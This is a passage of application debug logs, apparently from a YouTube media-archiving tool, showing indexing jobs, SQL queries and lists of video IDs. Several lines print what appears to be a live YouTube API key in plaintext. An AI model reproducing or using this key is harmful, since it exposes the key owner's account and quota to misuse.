(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:06:31.677 [debug] QUERY OK source="media_items" db=0.1ms idle=138.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:06:31.678 [debug] QUERY OK source="tasks" db=0.1ms idle=124.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800116, 30, ~U[2026-02-10 23:06:31Z], ~U[2026-02-10 23:06:31Z]] 17:06:31.678 [info] {"args":{"id":30},"id":3800077,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146972,"event":"job:stop","queue_time":456580,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:32.528 [info] {"args":{"id":17},"id":3800078,"meta":{},"system_time":1770764792528833774,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:32.529 [debug] QUERY OK source="sources" db=0.1ms idle=850.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:06:32.529 [debug] QUERY OK source="settings" db=0.1ms idle=850.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:32.529 [debug] QUERY OK source="media_profiles" db=0.1ms idle=844.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:32.529 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:32.529 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:06:32.529 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:32.529 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:32.635 [debug] QUERY OK source="media_items" db=0.5ms idle=105.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:06:32.636 [debug] QUERY OK source="media_items" db=0.2ms idle=106.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:06:32.637 [debug] QUERY OK source="tasks" db=0.2ms idle=107.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800117, 17, ~U[2026-02-10 23:06:32Z], ~U[2026-02-10 23:06:32Z]] 17:06:32.637 [info] {"args":{"id":17},"id":3800078,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":108623,"event":"job:stop","queue_time":504080,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:34.530 [info] {"args":{"id":33},"id":3800079,"meta":{},"system_time":1770764794530774434,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:34.531 [debug] QUERY OK source="sources" db=0.1ms idle=652.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:06:34.531 [debug] QUERY OK source="settings" db=0.1ms idle=652.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:34.531 [debug] QUERY OK source="media_profiles" db=0.1ms idle=653.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:34.531 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:34.531 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:06:34.531 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:34.532 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:34.640 [debug] QUERY OK source="media_items" db=0.6ms idle=108.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 17:06:34.641 [debug] QUERY OK source="media_items" db=0.4ms idle=109.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:06:34.641 [debug] QUERY OK source="tasks" db=0.1ms idle=109.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800118, 33, ~U[2026-02-10 23:06:34Z], ~U[2026-02-10 23:06:34Z]] 17:06:34.642 [info] {"args":{"id":33},"id":3800079,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111160,"event":"job:stop","queue_time":446317,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:35.531 [info] {"args":{"id":12},"id":3800081,"meta":{},"system_time":1770764795531686728,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:35.531 [info] {"args":{"id":11},"id":3800080,"meta":{},"system_time":1770764795531637391,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:35.532 [debug] QUERY OK source="sources" db=0.2ms idle=889.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:06:35.532 [debug] QUERY OK source="sources" db=0.2ms idle=889.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:06:35.532 [debug] QUERY OK source="settings" db=0.1ms idle=883.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:35.532 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:35.532 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:35.532 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:35.532 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:35.532 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:06:35.532 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:35.532 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:06:35.532 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:35.532 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:35.532 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:35.532 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:35.639 [debug] QUERY OK source="media_items" db=0.7ms idle=105.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 17:06:35.641 [debug] QUERY OK source="media_items" db=1.7ms idle=107.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:06:35.642 [debug] QUERY OK source="tasks" db=0.1ms idle=109.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800119, 11, ~U[2026-02-10 23:06:35Z], ~U[2026-02-10 23:06:35Z]] 17:06:35.642 [info] {"args":{"id":11},"id":3800080,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110864,"event":"job:stop","queue_time":545738,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:35.761 [debug] QUERY OK source="media_items" db=0.6ms idle=119.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", 